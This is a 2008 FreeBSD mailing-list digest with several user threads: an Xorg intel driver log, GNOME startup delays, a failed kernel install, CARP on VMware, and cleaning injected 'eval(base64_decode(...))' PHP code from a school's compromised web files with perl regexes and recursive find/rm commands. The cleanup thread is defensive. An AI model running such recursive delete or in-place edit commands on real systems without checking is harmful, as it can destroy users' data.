(II) intel(0): 0x08000000: end of aperture (II) intel(0): Selecting standard 18 bit TMDS pixel format. (II) intel(0): Output configuration: (II) intel(0): Pipe A is off (II) intel(0): Display plane B is now disabled and connected to pipe B. (WW) intel(0): Hardware claims pipe A is on while software believes it is off (II) intel(0): Pipe B is on (II) intel(0): Display plane A is now enabled and connected to pipe B. (II) intel(0): Output VGA is connected to pipe none (II) intel(0): Output LVDS is connected to pipe B (EE) intel(0): underrun on pipe B! (II) intel(0): xf86UnbindGARTMemory: unbind key 1 (II) intel(0): xf86UnbindGARTMemory: unbind key 2 (II) intel(0): xf86UnbindGARTMemory: unbind key 3 (II) intel(0): xf86UnbindGARTMemory: unbind key 4 (II) intel(0): xf86UnbindGARTMemory: unbind key 5 (II) intel(0): xf86BindGARTMemory: bind key 1 at 0x01fdf000 (pgoffset 8159) (II) intel(0): xf86BindGARTMemory: bind key 2 at 0x025df000 (pgoffset 9695) (II) intel(0): xf86BindGARTMemory: bind key 3 at 0x025e0000 (pgoffset 9696) (II) intel(0): xf86BindGARTMemory: bind key 4 at 0x025e1000 (pgoffset 9697) (II) intel(0): xf86BindGARTMemory: bind key 5 at 0x03000000 (pgoffset 12288) (II) intel(0): Fixed memory allocation layout: (II) intel(0): 0x00000000-0x0001ffff: ring buffer (128 kB) (II) intel(0): 0x00020000-0x00027fff: logical 3D context (32 kB) (II) intel(0): 0x00028000-0x01e27fff: exa offscreen (30720 kB) (II) intel(0): 0x01fdf000: end of stolen memory (II) intel(0): 0x01fdf000-0x025defff: compressed frame buffer (6144 kB, 0x0000000007000000 physical ) (II) intel(0): 0x025df000-0x025dffff: compressed ll buffer (4 kB, 0x0000000006cb9000 physical ) (II) intel(0): 0x025e0000-0x025e0fff: Core cursor (4 kB, 0x0000000006cba000 physical ) (II) intel(0): 0x025e1000-0x025e1fff: overlay registers (4 kB, 0x0000000006cbb000 physical ) (II) intel(0): 0x03000000-0x03ffffff: front buffer (10240 kB) X tiled (II) intel(0): 0x08000000: end of aperture (II) intel(0): Selecting standard 18 bit TMDS pixel format. (II) intel(0): Output configuration: (II) intel(0): Pipe A is off (II) intel(0): Display plane B is now disabled and connected to pipe B. (WW) intel(0): Hardware claims pipe A is on while software believes it is off (II) intel(0): Pipe B is on (II) intel(0): Display plane A is now enabled and connected to pipe B. (II) intel(0): Output VGA is connected to pipe none (II) intel(0): Output LVDS is connected to pipe B (EE) intel(0): underrun on pipe B! (II) intel(0): xf86UnbindGARTMemory: unbind key 1 (II) intel(0): xf86UnbindGARTMemory: unbind key 2 (II) intel(0): xf86UnbindGARTMemory: unbind key 3 (II) intel(0): xf86UnbindGARTMemory: unbind key 4 (II) intel(0): xf86UnbindGARTMemory: unbind key 5 FreeFontPath: FPE "/usr/local/lib/X11/fonts/misc/" refcount is 2, should be 1; fixing. (II) intel(0): Kernel reported 241152 total, 0 used (II) intel(0): I830CheckAvailableMemory: 964608 kB available (II) intel(0): [drm] added 8192 byte SAREA at 0xc406a000 (II) intel(0): [drm] mapped SAREA 0xc406a000 to 0x284ef000 (II) intel(0): [drm] framebuffer mapped by ddx driver (II) intel(0): X context handle = 0x2 (EE) intel(0): [DRI] Locking deadlock. Already locked with context 676397436, trying to lock with context 2. (II) intel(0): [drm] installed DRM signal handler (**) intel(0): Framebuffer compression enabled (**) intel(0): Tiling enabled (==) intel(0): Write-combining range (0xe0000000,0x80000) was already clear (==) intel(0): VideoRam: 131072 KB (II) intel(0): Attempting memory allocation with tiled buffers. (WW) intel(0): xf86AllocateGARTMemory: allocation of 1536 pages failed (Cannot allocate memory) (WW) intel(0): Allocation error, framebuffer compression disabled (II) intel(0): Tiled allocation successful. (--) intel(0): DRI is disabled because it needs HW cursor, 2D accel and AGPGART. (II) intel(0): adjusting plane->pipe mappings to allow for framebuffer compression (II) intel(0): Page Flipping disabled (==) intel(0): Write-combining range (0xe0000000,0x80000) was already clear (==) intel(0): Write-combining range (0xe8000000,0x8000000) was already set (II) intel(0): vgaHWGetIOBase: hwp->IOBase is 0x03d0, hwp->PIOOffset is 0x0000 (==) intel(0): Write-combining range (0xa0000,0x10000) was already clear (II) EXA(0): Offscreen pixmap area of 18874368 bytes (II) EXA(0): Driver registered support for the following operations: (II) Solid (II) Copy (II) Composite (RENDER acceleration) (II) intel(0): Initializing SW Cursor! (II) intel(0): xf86BindGARTMemory: bind key 9 at 0x01fdf000 (pgoffset 8159) (II) intel(0): xf86BindGARTMemory: bind key 10 at 0x02000000 (pgoffset 8192) (II) intel(0): Fixed memory allocation layout: (II) intel(0): 0x00000000-0x0001ffff: ring buffer (128 kB) (II) intel(0): 0x00020000-0x00027fff: logical 3D context (32 kB) (II) intel(0): 0x00028000-0x01227fff: exa offscreen (18432 kB) (II) intel(0): 0x01fdf000: end of stolen memory (II) intel(0): 0x01fdf000-0x01fdffff: overlay registers (4 kB, 0x000000001a2e6000 physical ) (II) intel(0): 0x02000000-0x02ffffff: front buffer (10240 kB) X tiled (II) intel(0): 0x08000000: end of aperture (II) intel(0): Selecting standard 18 bit TMDS pixel format. (II) intel(0): Output configuration: (II) intel(0): Pipe A is off (II) intel(0): Display plane B is now disabled and connected to pipe B. (WW) intel(0): Hardware claims pipe A is on while software believes it is off (II) intel(0): Pipe B is on (II) intel(0): Display plane A is now enabled and connected to pipe B. (II) intel(0): Output VGA is connected to pipe none (II) intel(0): Output LVDS is connected to pipe B (II) intel(0): RandR 1.2 enabled, ignore the following RandR disabled message. (II) intel(0): Set up overlay video (II) intel(0): direct rendering: Failed (--) RandR disabled (II) GLX: Initialized MESA-PROXY GL provider for screen 0 (II) intel(0): Setting screen physical size to 305 x 183 (II) evaluating device () (II) evaluating device () (EE) intel(0): underrun on pipe B! (EE) intel(0): [DRI] Unlocking inconsistency: Context 676397436 trying to unlock lock held by context 2 (EE) intel(0): [DRI] Locking deadlock. Already locked with context 676397436, trying to lock with context 2. (EE) intel(0): [DRI] Unlocking inconsistency: Context 676397436 trying to unlock lock held by context 2 (EE) intel(0): [DRI] Locking deadlock. Already locked with context 676397436, trying to lock with context 2. > * ls /var/db/pkg/ |grep 'xf86-video-*' pkg_version -v xf86-video-dummy-0.2.0_2 = up-to-date with port xf86-video-intel-2.4.2 = up-to-date with port xf86-video-vga-4.1.0_2 = up-to-date with port xf86bigfontproto-1.1.2 = up-to-date with port xf86dga-1.0.2 = up-to-date with port xf86dgaproto-2.0.3 = up-to-date with port xf86driproto-2.0.3 = up-to-date with port xf86miscproto-0.9.2 = up-to-date with port xf86rushproto-1.1.2 = up-to-date with port xf86vidmodeproto-2.2.2 > > * Why you installed 7.0 and not 7.1-BETA2 Why would I install a beta when I'm mainly interested in stable releases? My main reason for installing this system was to check out kde4 (which has been hard to install on anything else without a lot of time and hassle- I noticed it was in ports which made it easy to run once installed), and see if 7.0 was stable enough for myself as it hadn't worked before and I wanted to see if it was just the particular hardware. I apologise I'm not in a position where I can obtain further info, but I kinda have bigger fish to fry (deadlines, etc). From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 04:58:08 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 217CF106564A for ; Fri, 5 Dec 2008 04:58:08 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id E73D48FC16 for ; Fri, 5 Dec 2008 04:58:07 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id 48086AFBC02; Thu, 4 Dec 2008 19:58:07 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org Date: Fri, 5 Dec 2008 05:58:05 +0100 User-Agent: KMail/1.9.7 References: <1bd550a00812041051safe005bj8ee50bdf97583ae3@mail.gmail.com> In-Reply-To: <1bd550a00812041051safe005bj8ee50bdf97583ae3@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Message-Id: <200812050558.05907.fbsd.questions@rachie.is-a-geek.net> Cc: Fernando =?iso-8859-1?q?Apestegu=EDa?= Subject: Re: Gnome slow at start up X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 04:58:08 -0000 On Thursday 04 December 2008 19:51:32 Fernando Apestegu=EDa wrote: > Hi all, > > I'm running FreeBSD 7.1-BETA 2 and I have some problems with Gnome at sta= rt > up. > > When I type startx, I get the gnome desktop and the nice border-less > window in which I can see components loading. However, after the > gnome-panel icon, it seems to stall. > some time later (around a minute or two) nautilus seems to run and I > get all the icons at my desktop. > > I have > dbus_enable=3D"YES" > hald_enable=3D"YES" > in my rc.conf and I can see, both are running. > > I have the entries suggested in > http://www.freebsd.org/gnome/docs/faq2.html#q20 added to my /etc/hosts > and I can verify with ping that I don't have any problems with name > resolution. > I also have both net.inet.tcp.backhole and net.inet.udp.blackhole set to = 0. > > What's the problem? How can I see which process is stalled during start u= p? Does this help? http://forums.freebsd.org/showthread.php?t=3D445 =2D-=20 Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 05:33:34 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7579A1065670 for ; Fri, 5 Dec 2008 05:33:34 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id 46B908FC1B for ; Fri, 5 Dec 2008 05:33:34 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id CEFB3AFBC02; Thu, 4 Dec 2008 20:33:32 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org Date: Fri, 5 Dec 2008 06:33:29 +0100 User-Agent: KMail/1.9.7 References: <1228356394.23645.24.camel@laptop1.herveybayaustralia.com.au> <200812040944.38210.fbsd.questions@rachie.is-a-geek.net> <1228416719.79750.25.camel@laptop2.herveybayaustralia.com.au> In-Reply-To: <1228416719.79750.25.camel@laptop2.herveybayaustralia.com.au> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812050633.29979.fbsd.questions@rachie.is-a-geek.net> Cc: Da Rock Subject: Re: FreeBSD 7.0 problems X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 05:33:34 -0000 On Thursday 04 December 2008 19:51:59 Da Rock wrote: > Why would I install a beta when I'm mainly interested in stable > releases? That's why I asked. You're not in a position to troubleshoot this problem, since the usual suspects (wrong driver, signs of significant acpi problems) don't apply and you'd have to really be willing to compile custom kernels, set tunables and apply patches to get to the bottom of this. The drm devices aren't created, and the reason for that is unclear. Nothing in dmesg shows a failure. The iwi problem could be signal strength, driver related or the fact that 7.0 uses SCHED_4BSD instead of the proven better working SCHED_ULE. And when reporting bugs in the PR system, the first thing developers will ask you is if you reproduce it on 7.1-BETA or a snapshot. Loads of fixes have gone into the upcoming 7.1. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 06:00:51 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4E164106564A for ; Fri, 5 Dec 2008 06:00:51 +0000 (UTC) (envelope-from f.bonnet@esiee.fr) Received: from mx1.esiee.fr (mx1.esiee.fr [147.215.1.35]) by mx1.freebsd.org (Postfix) with ESMTP id 0E0918FC08 for ; Fri, 5 Dec 2008 06:00:51 +0000 (UTC) (envelope-from f.bonnet@esiee.fr) Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3]) by mx1.esiee.fr (Postfix) with ESMTP id 3E745130D7E; Fri, 5 Dec 2008 07:00:50 +0100 (CET) Received: from mail.esiee.fr (localhost [127.0.0.1]) by VAMS.dummy (Postfix) with SMTP id 34C242FC64; Fri, 5 Dec 2008 07:00:50 +0100 (CET) Received: from secure.esiee.fr (secure.esiee.fr [147.215.1.19]) by mail.esiee.fr (Postfix) with ESMTP id 0D5EA2FC64; Fri, 5 Dec 2008 07:00:49 +0100 (CET) Received: from [192.168.0.13] (chs77-1-82-238-8-126.fbx.proxad.net [82.238.8.126]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) (Authenticated sender: bonnetf) by secure.esiee.fr (Postfix) with ESMTPSA id A6FC5E8E19; Fri, 5 Dec 2008 07:00:49 +0100 (CET) Message-ID: <4938C38B.8080008@esiee.fr> Date: Fri, 05 Dec 2008 07:00:43 +0100 From: Frank Bonnet User-Agent: Thunderbird 2.0.0.18 (X11/20081125) MIME-Version: 1.0 To: gwg7webbcom@yahoo.com References: <592613.67715.qm@web52209.mail.re2.yahoo.com> In-Reply-To: <592613.67715.qm@web52209.mail.re2.yahoo.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: Image Programs X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 06:00:51 -0000 G magicman wrote: > Hello does anyone know the following > > 1. Does Freebsd have a program like Photoshop avail to use a copy-left GNU license type ? and a form of Thumbsplus which allows me to do rudimentary picture manipulations changing file type, cropping etc. i have all the 3d programs but not these 2 basic ones. > > > Thank you > http://www.gimp.org From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 07:10:15 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id CC47F1065670 for ; Fri, 5 Dec 2008 07:10:15 +0000 (UTC) (envelope-from fullblaststorm@gmail.com) Received: from rv-out-0506.google.com (rv-out-0506.google.com [209.85.198.227]) by mx1.freebsd.org (Postfix) with ESMTP id 9E4B28FC1E for ; Fri, 5 Dec 2008 07:10:15 +0000 (UTC) (envelope-from fullblaststorm@gmail.com) Received: by rv-out-0506.google.com with SMTP id b25so4252243rvf.43 for ; Thu, 04 Dec 2008 23:10:15 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:mime-version:content-type:content-transfer-encoding :content-disposition; bh=skghj3fLIERYLaZovRauxCg2LdZUNwFVnFu263qs7OM=; b=oiv8DqzuBwg3fAYyj/R3RI2j89y2+xT9zahpL1uOAERPcyfgY5cyW5lwtwzbZTj0gc ez+nl9MGy2VYeXLm5xvLKrtHqDf16CpLoJ5fIZW4dfdcLWXjzrlY0jC3WarXXeuMv6IN nF2phSuy64zkQSt7iNVQ9Uoa/hDAIJSR/NG7w= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:mime-version:content-type :content-transfer-encoding:content-disposition; b=xk6TkKJkiDCS0pzZSyx/d37aan8cfNxodAjJKjtWm06U3yOQavDrFipSap1/ZkMJNc KRoTUOgm9tGFRbX9hmINROChQDyYBKz4+EcYPrrvMBsqufm9mrf6TbcG9HPc5nXY/rZS CIB3QD5IGTUFY4LWSeOU7/4cp/OxgKvuSGupg= Received: by 10.142.14.18 with SMTP id 18mr6290302wfn.72.1228461015214; Thu, 04 Dec 2008 23:10:15 -0800 (PST) Received: by 10.143.99.6 with HTTP; Thu, 4 Dec 2008 23:10:15 -0800 (PST) Message-ID: <6c51dbb10812042310n54788869hbb8a66f3d54d824@mail.gmail.com> Date: Fri, 5 Dec 2008 12:10:15 +0500 From: FuLLBLaSTstorm To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: No /boot/kernel/kernel X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 07:10:15 -0000 Hey all, Recently I've been given the task to make the FreeBSD 6.0-release server to run NAT. I've done everything as described in handbook: copied the /sys/i386/conf/GENERIC to /sys/i386/conf/NATKERNEL, added "options IPFIREWALL", "options IPDIVERT". Then I typed # make bulidkernel KERNCONF=NATKERNEL (everything was built ok, without any errors nor warnings) # make installkernel KERNCONF=NATKERNEL (installation was also ok) After I rebooted my system I was shocked by getting the following message ( The server was important production server of our company ): FreeBSD/i386 boot Default 0:ad(0,a)/boot/kernel/kernel boot: No /boot/kernel/kernel the same reappeared after i typed /boot/kernel.old/kernel. WHAT DID WENT WRONG??? Any ideas? From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 08:22:17 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 747D61065670 for ; Fri, 5 Dec 2008 08:22:17 +0000 (UTC) (envelope-from mcoyles@horbury.wakefield.sch.uk) Received: from smtp2-wak.yhgfl.net (smtp2-wak-ext.yhgfl.net [89.207.208.43]) by mx1.freebsd.org (Postfix) with ESMTP id 0D7C28FC16 for ; Fri, 5 Dec 2008 08:22:16 +0000 (UTC) (envelope-from mcoyles@horbury.wakefield.sch.uk) Received: from horbury.wakefield.sch.uk ([10.126.96.34]) by smtp2-wak.yhgfl.net (8.13.8/8.13.8/Debian-3) with ESMTP id mB58M404008559; Fri, 5 Dec 2008 08:22:05 GMT Received: from ITTEAM02 [10.126.96.253] by horbury.wakefield.sch.uk with ESMTP (SMTPD32-7.07) id A4A635E0088; Fri, 05 Dec 2008 08:21:58 +0000 From: "Marc Coyles" To: References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> <1228395500.2781.41.camel@frodon.be-bif.ulb.ac.be> <200812050551.32850.fbsd.questions@rachie.is-a-geek.net> In-Reply-To: <200812050551.32850.fbsd.questions@rachie.is-a-geek.net> Date: Fri, 5 Dec 2008 08:21:53 -0000 Message-ID: <002f01c956b2$87dd3b40$9797b1c0$@wakefield.sch.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: AclWlTXUdF6aBdckTSKj/0Mh6WRVAwAHDjpQ Content-Language: en-gb X-YHGfL-MailScanner-Information: Please contact the YHGfL Foundation for more information X-YHGfL-MailScanner: Found to be clean X-YHGfL-MailScanner-MCPCheck: MCP-Clean, MCP-Checker (score=0, required 0.5) X-YHGfL-MailScanner-SpamCheck: not spam, SpamAssassin (not cached, score=-4.399, required 5, autolearn=not spam, ALL_TRUSTED -1.80, BAYES_00 -2.60) X-MailScanner-From: mcoyles@horbury.wakefield.sch.uk Cc: 'Mel' Subject: RE: Mass find/replace... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: mcoyles@horbury.wakefield.sch.uk List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 08:22:17 -0000 > + not \; or you will fork on every result. >=20 > Additionally, is this injected code one long string or broken down > by the > mailer? Grep isn't the best way to deal with it. It's pretty easy > to correct > with perl, bit trickier if it's multiline, still not too hard: >=20 > find /home/horbury -type f -exec \ > perl -pi.bak -e 's,<\?/\*\*/eval\(base64_decode\(.*?\?>,,s' > {} + >=20 Hi Mel... S'One long singleline string broken down by the mailer... Have tried doing a find and replace using perl, initially just to = replace the string, leaving an empty base64_decode(), however, one of = the ICT Teachers has created paths with spaces in, which seemed to throw = off the perl I was using... will give yours a try later today *fingers = crossed*... If worst comes to worst I can restore from backups, it'll just mean = students lose a few days of work that they'd submitted thru Moodle (I've = been off for a day or three, and this appears to have happened on the = first day of my absence) Ta fer the helpful suggestions thus far! Marc A Coyles - Horbury School ICT Support Team Mbl: 07850 518106 Land: 01924 282740 ext 730 Helpdesk: 01924 282740 ext 2000 From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 08:25:07 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 421791065673 for ; Fri, 5 Dec 2008 08:25:07 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from ciao.gmane.org (main.gmane.org [80.91.229.2]) by mx1.freebsd.org (Postfix) with ESMTP id F0F2E8FC08 for ; Fri, 5 Dec 2008 08:25:06 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from root by ciao.gmane.org with local (Exim 4.43) id 1L8Vzj-0002AD-0d for freebsd-questions@freebsd.org; Fri, 05 Dec 2008 08:25:03 +0000 Received: from 217.31.70.82 ([217.31.70.82]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 05 Dec 2008 08:25:03 +0000 Received: from chris by 217.31.70.82 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 05 Dec 2008 08:25:03 +0000 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-questions@freebsd.org From: Christian Ullrich Date: Fri, 05 Dec 2008 09:21:54 +0100 Lines: 29 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: 217.31.70.82 User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) Sender: news Subject: CARP on VMware ESX X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 08:25:07 -0000 Hello all, I'm having trouble getting a CARP setup to work on VMware ESX. The problem: As soon as I configure the CARP interface, it first goes to MASTER state, then immediately drops to BACKUP, and stays there. Right now I have only one VM set up, so the reason is not that there's an active master in the group. In the log I get the message arp_rtrequest: bad gateway 192.168.93.3 (!AF_LINK) about once every three or four seconds. Just as often, I see ARP requests from the above IP, querying for the same address. I know about VMware and allowing promiscuous mode on the "physical" interface. But this is where it gets confusing: If I create the CARP interface while promiscuous mode is _not_ allowed on the interface, it starts up fine, becomes master, the route entry appears, and everything looks fine. Once I then allow the interface into promiscuous mode, I can use it fine. If promiscuous mode is already permitted on the interface when I start CARP, I get what I described above: The interface is in BACKUP state, the route to the CARP interface doesn't show up, and I get both the ARP requests and the error message continuously. I appreciate any hints. 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X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: mcoyles@horbury.wakefield.sch.uk List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 09:18:08 -0000 > + not \; or you will fork on every result. >=20 > Additionally, is this injected code one long string or broken down > by the > mailer? Grep isn't the best way to deal with it. It's pretty easy > to correct > with perl, bit trickier if it's multiline, still not too hard: >=20 > find /home/horbury -type f -exec \ > perl -pi.bak -e 's,<\? /\*\*/eval\(base64_decode\(.*?\?>,,s' {} + >=20 Sadly that didn't work. It created .bak files for everything within = /home/Horbury recursively, but didn't make any changes - the = base64_decode is till present.=20 Additional point to note: this only needs performing on .php files, not = all files...=20 Would I be correct in guessing it's because the string for perl to = search for omits a space? IE: within the files, it's as follows: Whereas the perl appears to be looking for: Also... how to delete all files ending in .bak recursively? *grin* I'm presuming it'd be: Find /home/horbury -type f -name "*.bak" -exec \ Rm *.bak ??? Ta! Marc From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 09:24:31 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 36ACE1065670 for ; Fri, 5 Dec 2008 09:24:31 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id AEC168FC0C for ; Fri, 5 Dec 2008 09:24:29 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB59OK8q058605; Fri, 5 Dec 2008 10:24:20 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB59OJaN058602; Fri, 5 Dec 2008 10:24:20 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Fri, 5 Dec 2008 10:24:19 +0100 (CET) From: Wojciech Puchar To: af300wsm@gmail.com In-Reply-To: <0016e64ca7d690e38f045d45227d@google.com> Message-ID: <20081205102311.H58585@wojtek.tensor.gdynia.pl> References: <0016e64ca7d690e38f045d45227d@google.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: "freebsd-questions@freebsd.org" Subject: Re: Performance benchmarks pitting FreeBSD against Windows X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 09:24:31 -0000 > I'm just curious to see how it looks for my own sanity's sake. At work, yes windows is much faster and much easier to use. it was told so many times on adverts and you still not understand that?! there are just strange people there that want to still use unix. From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 09:31:32 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 282D0106568A for ; Fri, 5 Dec 2008 09:31:32 +0000 (UTC) (envelope-from peter@boosten.org) Received: from smtpq4.gn.mail.iss.as9143.net (smtpq4.gn.mail.iss.as9143.net [212.54.34.167]) by mx1.freebsd.org (Postfix) with ESMTP id D642C8FC19 for ; Fri, 5 Dec 2008 09:31:31 +0000 (UTC) (envelope-from peter@boosten.org) Received: from [212.54.34.137] (helo=smtp6.gn.mail.iss.as9143.net) by smtpq4.gn.mail.iss.as9143.net with esmtp (Exim 4.69) (envelope-from ) id 1L8X21-0004mp-SG; Fri, 05 Dec 2008 10:31:29 +0100 Received: from [84.25.72.219] (helo=ra.egypt.nl) by smtp6.gn.mail.iss.as9143.net with esmtp (Exim 4.69) (envelope-from ) id 1L8X1v-0007WO-I4; Fri, 05 Dec 2008 10:31:23 +0100 Received: from [127.0.0.1] (xp.egypt.nl [192.168.13.35]) by ra.egypt.nl (Postfix) with ESMTP id B1E903983A; Fri, 5 Dec 2008 10:31:20 +0100 (CET) Message-ID: <4938F4E8.8030304@boosten.org> Date: Fri, 05 Dec 2008 10:31:20 +0100 From: Peter Boosten User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) MIME-Version: 1.0 To: mcoyles@horbury.wakefield.sch.uk References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> <1228395500.2781.41.camel@frodon.be-bif.ulb.ac.be> <200812050551.32850.fbsd.questions@rachie.is-a-geek.net> <004c01c956ba$56497410$02dc5c30$@wakefield.sch.uk> In-Reply-To: <004c01c956ba$56497410$02dc5c30$@wakefield.sch.uk> X-Enigmail-Version: 0.95.7 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-ZiggoSMTP-MailScanner-Information: Please contact the ISP for more information X-ZiggoSMTP-MailScanner-ID: 1L8X1v-0007WO-I4 X-ZiggoSMTP-MailScanner: Found to be clean X-ZiggoSMTP-MailScanner-SpamCheck: not spam, SpamAssassin (not cached, score=-1.413, required 5, BAYES_00 -2.60, CM_META_TB_NOARR 0.50, SPF_NEUTRAL 0.69) X-ZiggoSMTP-MailScanner-From: peter@boosten.org X-Spam-Status: No Cc: freebsd-questions@freebsd.org Subject: Re: Mass find/replace... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 09:31:32 -0000 Marc Coyles wrote: > > I'm presuming it'd be: > > Find /home/horbury -type f -name "*.bak" -exec \ > Rm *.bak > find /home/horbury -name "*.bak" -exec rm {} \; Peter -- 